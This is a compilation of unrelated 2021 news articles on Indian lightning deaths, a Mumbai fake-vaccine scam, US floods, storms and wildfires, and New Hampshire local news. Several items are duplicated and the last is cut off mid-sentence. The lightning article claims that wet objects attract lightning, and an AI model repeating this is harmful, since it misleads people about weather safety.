This monsoon usually takes place during the months of June to September. This season will give a breathing air or space for recovery from the blazing heat that the summer solstice brought to the vast lands of India.

Official's report: Information about deaths

A senior Jaipur police officer stated that mostly those who died from the lightning strike were gathering when it started raining and went to watch towers. According to the state disaster department of India, out of the 76 people who died, 23 people died in the mostly desert state of Rajasthan.

Officials posted and called the media afterwards to inform the public that some of the people who were struck by the lightning were taking selfies. To give information to avoid taking pictures or roaming around when strong rains are happening in your respective vicinity. Thus, any possible occurrence of thunderstorms may happen. It is better to prevent any worse case scenario from happening.

In the central state of Madhya Pradesh, officials stated that a couple of people were hit by lightning when they were taking shelter under a tree and were grazing camels and sheeps. Coincidence? No, it is better to stay indoors and avoid unnecessary contact with something wet since it attracts lightning.

Also read: One in a Million: Man Struck by Lightning Seven Times, How Did This Happen?

Government movement and action to these natural occurrences

With these unfortunate events that occurred, the prime minister of India, Narenda Modi offered help and compensation to the families of the bereaved. In 2019 alone, 2900 people were killed by lightning according to the National Crime Record Bureau and not to mention those unreported cases of lightning strikes all around the country.

As the government assumed that the strikes were happening during the monsoon season, they made sure to tell the media to inform the public about it and to avoid certain places during the rainy season. Though it is a crucial time in India, they see it as a way for the country to recover from the extreme heat present before the monsoon.

Replenishing water supplies, crops to grow, and to pave the way for the country to boost their economy since they could focus on other strengths of the country such as the Kharif crop in which this sector produces 50% of its annual output during monsoon season. India's agriculture industry is both economically and politically significant. According to Rajiv Biswas, chief economist in Asia Pacific for consultant IHS Markit, the industry contributes for around 14 percent of the country's $2.7 trillion GDP and 42 percent of overall employment.

Also read: Cirrus Cloud Seen in Infrared Satellite Could Assist with Severe Weather Warning




Indian authorities have arrested 14 people, including doctors and medical workers involved, for condoning alleged vaccination scam that lured thousands of people to have fallen prey.

In the country's western Maharashtra state, senior official Vishal Thakur of the Mumbai police department said that around 12 fake vaccination drives were investigated for giving shots of saline solution to thousands of people who thought they were getting coronavirus vaccines. Thakur said that the fake vaccination camps were injecting saltwater to an estimated 2,500 people, charging them with fees and earning up to $28,000 in total.

"We have arrested doctors," he added. "They were using a hospital which was producing the fake certificates, vials, syringes."

Some people who had gotten the shots on the previous month grew suspicious when they were unable to locate their vaccination certificates on the government's online portal, CoWin.

So far, the people arrested were charged with suspicion of cheating, attempts at culpable homicide, criminal conspiracy, and others.

India Steps Up Vaccination Program

When India spiraled into Covid-19 crisis on the months of April and early June, millions had been infected and tens of thousands were killed in the country, which raised an alarming concern around the world. After cases peaked in May, the infection gradually declined and recovered which helped the Indian government to strengthen their vaccination program, while easing pressure on the worn-out medical system.

Prime Minister Narendra Modi announced a centralized vaccine drive on June in hopes to accelerate the vaccination program which so far benefited more than 62 million people, about 4.5% of the country's population. The fake vaccination drives occurred between late May and early June wherein one took place at a housing society.

"None of our members got any symptoms and also we had to pay in cash," said one of the residents. "At that point of time, we doubted it."

Also read: COVID Vaccination Centers Defy National Regulations in Offering Second Doses

High Court Finds Vaccination Scam 'Shocking'

"The allegations are really shocking," said the Bombay High Court in the filing and asked the authorities to ensure 'innocent individuals are not duped in future'.

According to the police, they had also sealed the Shivam Hospital in Mumbai and arrested its owners, Doctor Shivraj Pataria and his wife Neeta Pataria, for their involvement in the vaccination scam.

The said hospital was an authorized COVID-19 vaccination center, but there was no permission issued for them to hold mass-vaccination camps, which were staged in residential areas. In the investigation, it was suspected that they had refiled used vaccine vials from the hospital which should have been destroyed.

"Many of the accused have confessed that they used saline water," said Vishwas Nangre Patil, Mumbai's joint commissioner of police. Authorities say more people could be arrested as the investigation continues.

So far, data shows that the country's nationwide vaccination program has picked up pace after the devastating second wave of coronavirus infections which crippled the health care services in the country and left people die on the streets.

Also read: Are Rare Sharks Being Killed for the Coronavirus Vaccine?
On Monday, the floodgates opened over the Philadelphia metro region, with a torrent of rain shutting down roads, forcing several water rescues, and dumping up to 10 inches of rain in one town.

As storms came in, the National Weather Service in Mount Holly, New Jersey, issued a flash flood warning for Levittown and Croydon, Pennsylvania, and Burlington, New Jersey, at 5 p.m. EDT. Some locations on the map have received roughly a foot of rain in only a few hours.

"Slow-moving thunderstorms drove by a virtually stationary front, tropical moisture, and 90-degree plus temperatures poured astonishing quantities of rain in a matter of hours, with significant flash flooding," AccuWeather Senior Meteorologist Dave Bowers said.

Update: Philadelphia Police have reopened Route 63/Woodhaven Road. Please continue to use caution if traveling, especially at night in darkness. https://t.co/449YE4pcVf  Philadelphia OEM (@PhilaOEM) July 13, 2021

Wreaking Havoc

The storm wreaked havoc on several cities in Bucks County. Croydon, Pennsylvania, received more than ten inches of rain. According to the Bensalem Fire Rescue, first responders responded to multiple flooding occurrences just a few minutes away in Bensalem.

According to the NWS, the flooding was a 100-year flood event. However, a 100-year flood, according to the United States Geological Survey, does not indicate that a flood of this magnitude happens just once every 100 years. Instead, flooding of the scale that occurred in the Philadelphia suburbs has a 1% probability of occurring each year, suggesting a 100-year flood event might happen twice in two years.

The downpour did not spare the City of Brotherly Love, located to the south of the county.

Related Article: 17,000 Affected by Power Outage as Tornado-Generating Storm Passed Over Texas



Heavy Rain

On Monday alone, Philadelphia received nearly 5 inches of rain, causing officials to block flooded highways. For example, route 63 was shut down at 6 p.m. EDT on Monday night before reopening later that evening.

Motorists should use caution when traveling, especially at night, according to the Philadelphia OEM.

According to the National Weather Service, Philadelphia International Airport received 4.35 inches of rain through Monday, which is the usual amount for the whole month of July.

Storm Forecast

According to the Storm Prediction Center, some of the heaviest thunderstorms that saturated the region also brought damaging winds. Many reports of tree and power line damage flooded from southeastern Pennsylvania and central New Jersey.

Forecasters expect no change in the weather pattern through Wednesday, as a tropical air mass stays in place, with temperatures in the lower 90s with anticipated thunderstorms each afternoon and evening.

Toppling Trees

According to Bowers, considering the amount of rain that has already fallen over the region, further flash floods are possible. Furthermore, the most powerful storms can bring severe gusts that can destroy tree limbs and electrical lines.

Even with a mild blast of wind, trees resting on moist soil are significantly more susceptible to being toppled.

"Thursday should be a dry day," Bowers added, "before a front brings a fresh danger of severe thunderstorms Friday and into the weekend."

Also Read: Storm Anxiety: How to Handle Extreme Weather Phobias During Hurricane Season

For more climate and weather updates, don't forget to follow Nature World News!
On July 12th, 2021, odd clouds were all on Marshall Shepherd's social media feeds. Images and videos show ominous-looking clouds moving into North Georgia. People dashed from ball fields or their houses, clutching their phones to capture the event. Jane Worley, a University of Georgia colleague of Shepherd, sent one with the comment, "Thought you might like."

She had no idea that she was photographing a shelf cloud drifting past her own community 40 miles away. So what exactly are these clouds?

Related Article: Areas in Philadelphia Flooded After Experiencing a Month's Worth of Rain in a Single Day



Shelf Clouds

To the untrained eye, the shelf cloud might appear highly frightening. However, the instances that came into Atlanta and Athens on the front edge of a storm system moving up from South Georgia were particularly noteworthy. On Monday afternoon, a radar image shot from my phone shows an east-west oriented squall line of storms heading northward.

At the leading edge of thunderstorms, shelf clouds form. These stunning structures resemble a lengthy bar or shelf of cloud beneath a storm cloud and are a type of arcus cloud (together with wall clouds). Gusts of wind accompany shelf clouds, which are frequently followed by precipitation - rain, hail, or both.

Related Article: Ravaging California Wildfire Produces its Own Lightning as it Doubles in Size



Arcus Clouds

Arcus clouds are low-level, wide-ranging clouds that are often linked with severe thunderstorms and storm clouds.

These are low-level, lengthy, and thin clouds that are linked with severe thunderstorms. They can be observed sometimes beneath Cumulonimbus clouds. Roll clouds are a horizontal column detached from the storm cloud, whereas shelf clouds are linked.

As Arcus clouds form with cumulonimbus clouds and downdrafts, they are associated with strong gusty winds, heavy rain or hail showers, as well as thunder and lightning. Shelf Clouds and Roll Clouds are the two major types of Arcus clouds. As a result, arcus clouds take the form of a wedge or a horizontal tube-shaped column (depending on whether a shelf or roll cloud develops).

Arcus Formations

Arcus clouds do not produce precipitation or high winds, but they serve as warning signs for oncoming thunderstorms and extreme weather.

Cloud Study

Few scientists examine them, or any strange clouds for that matter, because their rarity renders them unimportant for researching precipitation or climate. As a result, their development is frequently misunderstood.

"It's difficult to obtain funds to investigate something that looks beautiful," said Patrick Chuang, a cloud physicist at the University of California, Santa Cruz.

Related Article: NASA Satellites Show Earth's Upper Atmosphere is Showing Signs of Cooling and Contracting



Cloud Formations

According to scientists, warm air collides with cooler air, causing moisture in the air to condense from a gas to droplets or frozen particles. Aside from science, clouds create strange and fascinating patterns and pictures.

Also Read: Presence of Icy Clouds in Mars Could Have Made Development of Lakes and Rivers Possible

For the recent climate and weather updates, don't forget to follow Nature World News!
Bone-dry vegetation and record heat are already inciting dozens of intense wildfires across the western United States, and there is a possibility that shortage of jet fuel will affect aircraft important to firefighting efforts this season, industry experts reveal.

Shortage of Jet Fuel

The private airport is used as an air tanker base for the United States Forest Service. Vice president of operations for the Central Coast Jet Center in Santa Maria, California, Chris Kunkle, said he normally keeps 60,000 gallons of fuel ready, but is struggling with insufficient deliveries and is scared the fuel will get exhausted if an intense fire breaks out in the area.

Jeff Cyphers of Stockton, California-based Humboldt Pacific LCC, which provide some western states with jet fuel, said he's up against both limited fuel and drivers to dispatch it.

The source of jet fuel for most larger airports is through a pipeline, but the ones that are not large - and many that serve as tanker bases - depend on trucks. The scarcity has affected at least one of those airports already.

The Fresno Bee reported that over 20 commercial flights were redirected or delayed because of a fuel shortage at Fresno's Yosemite International Airport between the 30th of June and the 4th of Aug.

The abode to an air tanker base for both the Forest Service and the California Department of Forestry is the airport.

Here's a look at some of the remarkable wildfires that took place in the West as of Tuesday afternoon.

Also Read: US Witnessed Most Wildfires in June in 10 Years as it Heads to Peak Months

Oregon

Burning in the southeastern part of the state is the Bootleg Fire, and on Tuesday it became the largest wildfire in state history, as per The Oregonian. In Klamath and Lake counties It had burned over 315 square miles and was 0% contained.

Fire spokesman Daniel Omdal told the AP, "We are under extreme weather conditions. We have low humidity, the fuels are extremely flammable and all those provide conditions for notable fire activity."

About 21 homes and other minor structures have been destroyed because of the blaze.

California

California is already on pace to overcome the 2020 record fire season. As of Tuesday afternoon, eight intense fires were burning all over the state. With Beckwourth Complex close to the Nevada state line affected.

The blaze gave rise to evacuation orders for over 3,000 residents, and there were reports that the fire had destroyed several homes. The fire has burned not less than 95 square miles and was around 9% contained.

Idaho

Lightning storms with so many strikes ignited fires in north and north central Idaho, the state Department of Lands said.

Over a dozen blazes were active statewide, as per the U.S. Forest Service.

The Snake River Complex which is the largest is around 20 miles south of Lewiston. Residents in some regions close to the blaze remained under evacuation orders.

Related Article: Wildfire Season 2021: California in State of Fire as it Burns More Frequently Than Ever

For more news, updates about wildfires and similar topics don't forget to follow Nature World News!
Meteorologists forecasted that thunderstorms capable of packing high winds and flash flooding are to strike regions from the central and northern Plains to the Upper Midwest Wednesday.

Severe Weather

Into early Tuesday night, there will be an eruption of heavy, gusty, and locally intense storms over portions of the northern and central High Plains.

Meteorologists predicted that late Tuesday night to Wednesday morning the remaining complex of these thunderstorms will push eastward into northern portions of Nebraska, eastern portions of South Dakota, and the central parts of Minnesota in the form of intense rain and gusty winds.

While a major occurrence of severe weather is not anticipated on Wednesday, there is a possibility the setup will hit some communities hard with disrupting winds that could bring about power outages from portions of northeastern Nebraska to southeastern Minnesota and central Wisconsin.

Matt Benz, AccuWeather Meteorologist said the joining of a powerful wave of energy at the jet stream level, merged with moisture, which has not been present much of this summer, is anticipated to help in setting off the storms.

Also Read: Ohio Valley Experience Threats of Severe Weather Hazards Through End of Week

Thunderstorm

A little but attentive southward dip in the jet stream is predicted to have an interaction with a frontal zone in just the appropriate way to begin thunderstorms that can develop into one or more large complexes of severe weather from Wednesday afternoon up till Wednesday night.

Benz said there is a possibility damaging winds will be the major concern with any strong thunderstorm, and there can also be some isolated flash flooding.

Straight-line wind gusts could get to an AccuWeather Local StormMaxTM of 80 mph.

As it is usual with any severe thunderstorms, there is little chance of an isolated tornado. A few of the more powerful storms may also bring about hail. Benz said even if flooding takes place, a great portion of this region are desperately in need of rain.

Soil Condition

Soil conditions differ to a very great extent over the north-central United States. Some places over the Ohio and Mississippi valleys are regarded to be sufficiently moist, while places over the northern Plains and Upper Midwest are experiencing severe to unusual drought, as per data from the United States Drought Monitor.

In the region, a make or break time for crops, like corn can be the middle of July. An adequate dose of rain in the few days to come can assist in nursing a struggling crop through more than half of the summer.

Chicago and Milwaukee are cities that have been on the northwestern outer edge of showers and thunderstorms and this has created holes in much of the Great Lakes and Ohio Valley since late last week.

There is a greater possibility for Chicago and Milwaukee to experience some heavy, gusty storms Thursday as the cold front part of the storm system moves into the very warm and humid air.

Related Article: Severe Storms in DC Region's Thursday Forecast; Flash Flood Risk in Maryland

For more news, updates about severe storms and similar topics don't forget to follow Nature World News!
Baysider ACS students raise funds for animal shelter

by Katherine Lesnyk

Kaylin O'Connell, Jocelyn Cogswell, and Derek Pappaceno bring the donations and the $500 check to Nina Antonucci of Four Legged Freedom Rescue. (Photo by Katherine Lesnyk) (click for larger version) ALTON  Two third-graders at Alton Central School (ACS) spent the last few months of school working with their teacher, Derek Pappaceno, to put together a fundraiser for a chosen organization, Four Legged Freedom Rescue in Kennebunk, Maine. Kaylin O'Connell and Jocelyn Cogswell ultimately raised $620, and collected hundreds of meals for cats and more than 150 pounds of cat litter, according to Pappaceno and the students.



O'Connell and Cogswell, two close friends, decided they wanted to do a fundraiser for animals soon after returning to the classroom this spring after months of remote learning. With Pappaceno's help, they spent many recesses and other free times picking the organization to donate to, deciding on how to raise money and gather supplies, and coordinating with donors. They chose to focus their efforts on gathering supplies for cats.



In order to raise money, the pair planned a raffle and held a drawing contest throughout the school that students could participate in. Numerous students submitted art pieces for the contest, and the raffle for dog toys and supplies took place at $1 per ticket, or $5 for an arm's length of tickets, Cogswell and O'Connell said.



Petco, Aubuchon Hardware and Alton Bed and Biscuit donated supplies including litter and food. Pappaceno said that Petco has a donation program for shelters already in place, and when the group arrived at the store in Rochester to collect donations for the fundraiser, the store allowed them to collect much of the existing donation bin for the Kennebunk rescue.



Four Legged Freedom Rescue is a registered 501(c)(3) non profit organization that operates solely on donations, according to the rescue's website. O'Connell, Cogswell, Pappaceno, and the girls' families traveled to Wells, Maine recently to drop off the donations and a $500 check to Nina Antonucci, the president and founder of Four Legged Freedom Rescue. A donor contributed the additional $120 for the fundraiser through Four Legged Freedom Rescue's website.



O'Connell and Cogswell said that they plan to bring back the fundraiser next year, with help from classmates and a goal of raising up to $1,000. Pappaceno, the school community and their families are very proud of Cogswell and O'Connell for taking on the project. ALTON  Two third-graders at Alton Central School (ACS) spent the last few months of school working with their teacher, Derek Pappaceno, to put together a fundraiser for a chosen organization, Four Legged Freedom Rescue in Kennebunk, Maine. Kaylin O'Connell and Jocelyn Cogswell ultimately raised $620, and collected hundreds of meals for cats and more than 150 pounds of cat litter, according to Pappaceno and the students.O'Connell and Cogswell, two close friends, decided they wanted to do a fundraiser for animals soon after returning to the classroom this spring after months of remote learning. With Pappaceno's help, they spent many recesses and other free times picking the organization to donate to, deciding on how to raise money and gather supplies, and coordinating with donors. They chose to focus their efforts on gathering supplies for cats.In order to raise money, the pair planned a raffle and held a drawing contest throughout the school that students could participate in. Numerous students submitted art pieces for the contest, and the raffle for dog toys and supplies took place at $1 per ticket, or $5 for an arm's length of tickets, Cogswell and O'Connell said.Petco, Aubuchon Hardware and Alton Bed and Biscuit donated supplies including litter and food. Pappaceno said that Petco has a donation program for shelters already in place, and when the group arrived at the store in Rochester to collect donations for the fundraiser, the store allowed them to collect much of the existing donation bin for the Kennebunk rescue.Four Legged Freedom Rescue is a registered 501(c)(3) non profit organization that operates solely on donations, according to the rescue's website. O'Connell, Cogswell, Pappaceno, and the girls' families traveled to Wells, Maine recently to drop off the donations and a $500 check to Nina Antonucci, the president and founder of Four Legged Freedom Rescue. A donor contributed the additional $120 for the fundraiser through Four Legged Freedom Rescue's website.O'Connell and Cogswell said that they plan to bring back the fundraiser next year, with help from classmates and a goal of raising up to $1,000. Pappaceno, the school community and their families are very proud of Cogswell and O'Connell for taking on the project.

Baysider First inductee announced for Newfound Athletics Hall of Fame OFML receives ARPA grant Thanks for visiting SalmonPress.com
Berlin Reporter City Council answers questions about road repairs

by Tara Giles

Sports reporter - Coos County Democrat and Berlin Reporter Sports reporter - Coos County Democrat and Berlin Reporter write the author BERLIN  At the July 6 Berlin City Council meeting, the Council approved a disbursement of $596,595.07 and $993,389.86, respectively.



During the public comment section, Leonard Gallagher shared concerns about what he considers to be Berlin's number one crisis, which is the condition of the streets. He asked if there was a plan in place to start raising funds for road repairs. He stated that many roads are becoming impassable.



He noted, "Work on vehicles is expensive and that damage to them is partly due to the condition of the streets. It is costing residents money to make repairs."



Mayor Paul Grenier relayed that there is no current official plan in place for 2023 to raise funding beyond what is currently in place in the budget.



The Council then moved to authorize an application to the 2021 New Hampshire Institute of Museums and Library Services for $3,797.



The Resolution reads, "Whereas, the Berlin Public Library's has revised its processes to ensure continued service to the public in light of CDC guidelines relative to COVID-19; and Whereas, since public events such as the Summer Reading Program have been moved outdoors to Kelley Park with limited seating; and Whereas Kelley Park's proximity to Main Street/fire department to our west, the Androscoggin River to our east, and being surrounded by multi-level buildings to our north and south, our outdoor space receives significant external noise; and Whereas, the Library will further adapt its gated, outdoor area for both adult and children's programming and to do so, they will need to purchase additional furniture, a PA system, and external noise barriers."



City Manager James Wheeler then read his report and relayed that work by DHI Construction on the Pollution Control Ejector Station project including mechanical, controls and perimeter fencing work is now substantially complete. He then shared a property transfer list for June of 2021 and stated that the 'Trend of a robust market continues.'



Resident Julia Brennan then requested a blind driveway sign. Her request will now be sent to the Traffic Safety Committee for review and a copy of the request will be forwarded to the Police Department as well as the Public Works Department.



As far as cleaning up Berlin, Mayor Grenier stated that he drove around the community and advised there is an issue with furniture, tires, appliances etc being placed on sidewalks.



He said, "The City will need to coordinate with the Police Department and use funds from Council Contingency if needed to notify owners that it has to be cleaned up."



Wheeler added that he will work with Public Works to generate a list so that they can enforce the municipal regulations. BERLIN  At the July 6 Berlin City Council meeting, the Council approved a disbursement of $596,595.07 and $993,389.86, respectively.During the public comment section, Leonard Gallagher shared concerns about what he considers to be Berlin's number one crisis, which is the condition of the streets. He asked if there was a plan in place to start raising funds for road repairs. He stated that many roads are becoming impassable.He noted, "Work on vehicles is expensive and that damage to them is partly due to the condition of the streets. It is costing residents money to make repairs."Mayor Paul Grenier relayed that there is no current official plan in place for 2023 to raise funding beyond what is currently in place in the budget.The Council then moved to authorize an application to the 2021 New Hampshire Institute of Museums and Library Services for $3,797.The Resolution reads, "Whereas, the Berlin Public Library's has revised its processes to ensure continued service to the public in light of CDC guidelines relative to COVID-19; and Whereas, since public events such as the Summer Reading Program have been moved outdoors to Kelley Park with limited seating; and Whereas Kelley Park's proximity to Main Street/fire department to our west, the Androscoggin River to our east, and being surrounded by multi-level buildings to our north and south, our outdoor space receives significant external noise; and Whereas, the Library will further adapt its gated, outdoor area for both adult and children's programming and to do so, they will need to purchase additional furniture, a PA system, and external noise barriers."City Manager James Wheeler then read his report and relayed that work by DHI Construction on the Pollution Control Ejector Station project including mechanical, controls and perimeter fencing work is now substantially complete. He then shared a property transfer list for June of 2021 and stated that the 'Trend of a robust market continues.'Resident Julia Brennan then requested a blind driveway sign. Her request will now be sent to the Traffic Safety Committee for review and a copy of the request will be forwarded to the Police Department as well as the Public Works Department.As far as cleaning up Berlin, Mayor Grenier stated that he drove around the community and advised there is an issue with furniture, tires, appliances etc being placed on sidewalks.He said, "The City will need to coordinate with the Police Department and use funds from Council Contingency if needed to notify owners that it has to be cleaned up."Wheeler added that he will work with Public Works to generate a list so that they can enforce the municipal regulations.

Berlin Reporter Gorham native bikes across New Hampshire Recent Tara Giles 'Street Fair' Block Party, 5K race scheduled for July 31

2021-Jul-14 Jefferson man arrested after pursuit

2021-Jul-14 Hassan discusses broadband access with local leaders

2021-Jun-24 Whitefield Common discussed at latest selectmens meeting

2021-Jun-24 City Council discusses spending request

2021-Jun-10 More... Thanks for visiting SalmonPress.com
Berlin Reporter New art gallery opens in Gorham

by Angel Larcom

Local artist Deidre Blair welcomed guests to her new art space, The Three Sisters Gallery on Exchange Street, during a grand opening on July 9. (Photo by Angel Larcom) (click for larger version) GORHAM  Local artist Deidre Blair realized a lifelong dream when she recently opened the Three Sisters Art Gallery and Studio in Gorham. It was a packed house at her two-hour grand opening on July 9, as nearly a hundred supporters stopped in to view the gallery and wish her well.



The intimate gallery and working artist studio is located on Exchange Street in what is quickly becoming the arts district of Gorham. The DeSigns and Framing shop shares the same building as Three Sisters. Both businesses are positioned centrally between the Medallion Opera House on Park Street and the new Dermody Road Coffee and Art House on Main Street.



Blair is known throughout the North Country for her vibrant, whimsical oil paintings of native creatures and local landscapes inspired by traditional folk art techniques. Her work has been featured at numerous Portland, the Oregon Seacoast, Gorham and Bethlehem.



Blair lived in Portland, Oregon for 29 years before moving to Gorham seven years ago. She earned a Bachelor of Arts degree in Studio Arts from Portland State University. She said she had found her forever home in Gorham.



"Gorham is a very friendly town. Everyone really looks after each other here, and people are always supportive of one another," noted Blair.



Blair said she took inspiration from Native American agricultural practices when naming her new gallery. Winter squash, corn and climbing beans grew symbiotically and were the three main crops from numerous North American indigenous groups. The practice originated in Mesoamerica before traveling as far north as the Iroquis tribes of upstate New York and Canada.



When sown together, the three sisters share nutrients and foster the perfect environment for growth. For Blair, the symbolism of the three sisters echos her philosophy about community.



"I want this space to be about the arts, the artists and the local community. Being an artist or showing artwork wouldn't be successful without the "third sister" of patrons who support the artists by attending gallery openings and buying their work," noted Blair.



That philosophy has guided Blair to schedule numerous events at her new gallery. Visitors can watch her working in the back section of the gallery during regular business hours, and several yoga classes have already been scheduled in the space.



Blair also indicated that local organizations had already begun to reach out about utilizing the gallery for meetings and other gatherings. A series of monthly art openings have been scheduled through the fall, in addition to a handful of painting and drawing classes led by various artists.



In addition to Blair's paintings, works from approximately ten other artists are available at the Three Sisters Gallery. The gallery is open Thursdays through Mondays and closed on Tuesdays and Wednesdays. To learn more about classes, events and other offerings, visit GORHAM  Local artist Deidre Blair realized a lifelong dream when she recently opened the Three Sisters Art Gallery and Studio in Gorham. It was a packed house at her two-hour grand opening on July 9, as nearly a hundred supporters stopped in to view the gallery and wish her well.The intimate gallery and working artist studio is located on Exchange Street in what is quickly becoming the arts district of Gorham. The DeSigns and Framing shop shares the same building as Three Sisters. Both businesses are positioned centrally between the Medallion Opera House on Park Street and the new Dermody Road Coffee and Art House on Main Street.Blair is known throughout the North Country for her vibrant, whimsical oil paintings of native creatures and local landscapes inspired by traditional folk art techniques. Her work has been featured at numerous Portland, the Oregon Seacoast, Gorham and Bethlehem.Blair lived in Portland, Oregon for 29 years before moving to Gorham seven years ago. She earned a Bachelor of Arts degree in Studio Arts from Portland State University. She said she had found her forever home in Gorham."Gorham is a very friendly town. Everyone really looks after each other here, and people are always supportive of one another," noted Blair.Blair said she took inspiration from Native American agricultural practices when naming her new gallery. Winter squash, corn and climbing beans grew symbiotically and were the three main crops from numerous North American indigenous groups. The practice originated in Mesoamerica before traveling as far north as the Iroquis tribes of upstate New York and Canada.When sown together, the three sisters share nutrients and foster the perfect environment for growth. For Blair, the symbolism of the three sisters echos her philosophy about community."I want this space to be about the arts, the artists and the local community. Being an artist or showing artwork wouldn't be successful without the "third sister" of patrons who support the artists by attending gallery openings and buying their work," noted Blair.That philosophy has guided Blair to schedule numerous events at her new gallery. Visitors can watch her working in the back section of the gallery during regular business hours, and several yoga classes have already been scheduled in the space.Blair also indicated that local organizations had already begun to reach out about utilizing the gallery for meetings and other gatherings. A series of monthly art openings have been scheduled through the fall, in addition to a handful of painting and drawing classes led by various artists.In addition to Blair's paintings, works from approximately ten other artists are available at the Three Sisters Gallery. The gallery is open Thursdays through Mondays and closed on Tuesdays and Wednesdays. To learn more about classes, events and other offerings, visit www.the3sistersgallery.com

Berlin Reporter Gorham native bikes across New Hampshire City Council answers questions about road repairs Thanks for visiting SalmonPress.com
Coos County Democrat Jefferson man arrested after pursuit

by Tara Giles

Sports reporter - Coos County Democrat and Berlin Reporter Sports reporter - Coos County Democrat and Berlin Reporter write the author LITTLETON  Last Wednesday, July 7, sirens could be heard across the North Country as law enforcement agencies from various departments worked together to track down and detain 26 year old Hunter Ramsay of Jefferson.



At roughly 2:30 p.m., officers in Littleton assisted NH State Police, the NH State Police Mobile Enforcement Team, NH State Police Narcotics Investigation Unit, the Attorney General's Drug Task Force, NH State Liquor Commission, and the Drug Enforcement Administration (DEA) in apprehending Ramsay. Ramsay was considered armed and dangerous.



Littleton Police Chief Paul Smith said, "This could have been an extremely volatile situation based on the intelligence that we had. He had fire arms on him and indicated that he wanted to harm law enforcement officers."



Smith added, "Attempting to take someone into custody can certainly be stressful from our perspective, because we don't want to put the general public at risk, but ultimately we do want to bring somebody to justice and bring them into custody in the safest manner."



Ramsay was wanted for violating his conditions of probation in New Hampshire, and for burglary in Vermont. He is alleged to have stated that he wanted to harm law enforcement and would not go back to prison. Smith said, "Ramsay had previously evaded capture and was the subject of an extensive surveillance operation."



The suspect was located in Bethlehem, but fled to Littleton while being pursued. He drove down Brook Road, at speeds which demonstrated a disregard for the safety of the public.



Smith further explained, "Littleton Police Officers were able to deploy tire deflation devices, commonly known as spike strips, and deflate two of the tires on Ramsay's vehicle. He continued to flee and was pursued onto Mann's Hill Road and ultimately onto Wilkin's Farm Road, where his vehicle became inoperable."



Smith continued, "He exited his vehicle holding two firearms, and attempted to flee into the wood line. Littleton Police Officers pursued Ramsay on foot. After several verbal commands Ramsay threw the firearms into the brush, and was placed into custody without incident."



The firearms have been located. He is now being charged for violation of probation, disobeying a police officer, possession of metallic knuckles and police say additional charges may be forthcoming. He is currently being held at the Coos County House of Corrections pending a hearing on his probation violation. LITTLETON  Last Wednesday, July 7, sirens could be heard across the North Country as law enforcement agencies from various departments worked together to track down and detain 26 year old Hunter Ramsay of Jefferson.At roughly 2:30 p.m., officers in Littleton assisted NH State Police, the NH State Police Mobile Enforcement Team, NH State Police Narcotics Investigation Unit, the Attorney General's Drug Task Force, NH State Liquor Commission, and the Drug Enforcement Administration (DEA) in apprehending Ramsay. Ramsay was considered armed and dangerous.Littleton Police Chief Paul Smith said, "This could have been an extremely volatile situation based on the intelligence that we had. He had fire arms on him and indicated that he wanted to harm law enforcement officers."Smith added, "Attempting to take someone into custody can certainly be stressful from our perspective, because we don't want to put the general public at risk, but ultimately we do want to bring somebody to justice and bring them into custody in the safest manner."Ramsay was wanted for violating his conditions of probation in New Hampshire, and for burglary in Vermont. He is alleged to have stated that he wanted to harm law enforcement and would not go back to prison. Smith said, "Ramsay had previously evaded capture and was the subject of an extensive surveillance operation."The suspect was located in Bethlehem, but fled to Littleton while being pursued. He drove down Brook Road, at speeds which demonstrated a disregard for the safety of the public.Smith further explained, "Littleton Police Officers were able to deploy tire deflation devices, commonly known as spike strips, and deflate two of the tires on Ramsay's vehicle. He continued to flee and was pursued onto Mann's Hill Road and ultimately onto Wilkin's Farm Road, where his vehicle became inoperable."Smith continued, "He exited his vehicle holding two firearms, and attempted to flee into the wood line. Littleton Police Officers pursued Ramsay on foot. After several verbal commands Ramsay threw the firearms into the brush, and was placed into custody without incident."The firearms have been located. He is now being charged for violation of probation, disobeying a police officer, possession of metallic knuckles and police say additional charges may be forthcoming. He is currently being held at the Coos County House of Corrections pending a hearing on his probation violation.


Gilford Steamer Manson turns himself in to LAPD

by Erin Plummer Marilyn Manson has turned himself in to Los Angeles Police on the warrant in Gilford for an alleged incident at Bank of NH Pavilion in 2019.



Gilford Police chief Anthony Bean Burpee issued a statement on July 8 that Manson, real name Brian Hugh Warner, turned himself into the Los Angeles Police Department on July 2 in relation to the warrant from Gilford.



A warrant was issued on Oct. 8, 2019, for two counts of Class A Misdemeanor Simple Assault



stemming from a concert at Bank of New Hampshire Pavilion on Aug. 18, 2019, when Manson allegedly spit on a videographer in the pit area of the concert. Bean Burpee said the videographer filed a complaint with police the day after the show. After an investigation over the course of a few months, probable cause was found to issue an arrest warrant.



Since then Bean Burpee said they hadn't heard from Manson or his attorneys. The department posted about the warrant on social media in May.



Bean Burpee said a few weeks ago, the department's in house prosecutor has since reached an agreement with Manson's attorney in Los Angeles and has spoken with a detective at the Los Angeles Police Department for the next steps.



According to Bean Burpee's statement, Manson was processed and released on personal recognizance bail.



Manson's bail carries the conditions that he avoid any contact with the alleged victim, not commit any crimes while on release, appear at all court proceedings, advise his attorney of a change of address withing 24 hours.



If convicted, the charges could carry a sentence of less than one year in prison and a $2,000 fine.



He has a court date with the 4th Circuit Court, District Division, in Laconia.



Manson is being represented in New Hampshire by attorney Kent M. Baker of Winer and Bennet, LLP in Nashua.



"As an agency, we are pleased with Mr. Warner's decision to finally address the arrest warrant that has been outstanding since 2019," Bean Burpee said in the statement. Marilyn Manson has turned himself in to Los Angeles Police on the warrant in Gilford for an alleged incident at Bank of NH Pavilion in 2019.Gilford Police chief Anthony Bean Burpee issued a statement on July 8 that Manson, real name Brian Hugh Warner, turned himself into the Los Angeles Police Department on July 2 in relation to the warrant from Gilford.A warrant was issued on Oct. 8, 2019, for two counts of Class A Misdemeanor Simple Assaultstemming from a concert at Bank of New Hampshire Pavilion on Aug. 18, 2019, when Manson allegedly spit on a videographer in the pit area of the concert. Bean Burpee said the videographer filed a complaint with police the day after the show. After an investigation over the course of a few months, probable cause was found to issue an arrest warrant.Since then Bean Burpee said they hadn't heard from Manson or his attorneys. The department posted about the warrant on social media in May.Bean Burpee said a few weeks ago, the department's in house prosecutor has since reached an agreement with Manson's attorney in Los Angeles and has spoken with a detective at the Los Angeles Police Department for the next steps.According to Bean Burpee's statement, Manson was processed and released on personal recognizance bail.Manson's bail carries the conditions that he avoid any contact with the alleged victim, not commit any crimes while on release, appear at all court proceedings, advise his attorney of a change of address withing 24 hours.If convicted, the charges could carry a sentence of less than one year in prison and a $2,000 fine.He has a court date with the 4th Circuit Court, District Division, in Laconia.Manson is being represented in New Hampshire by 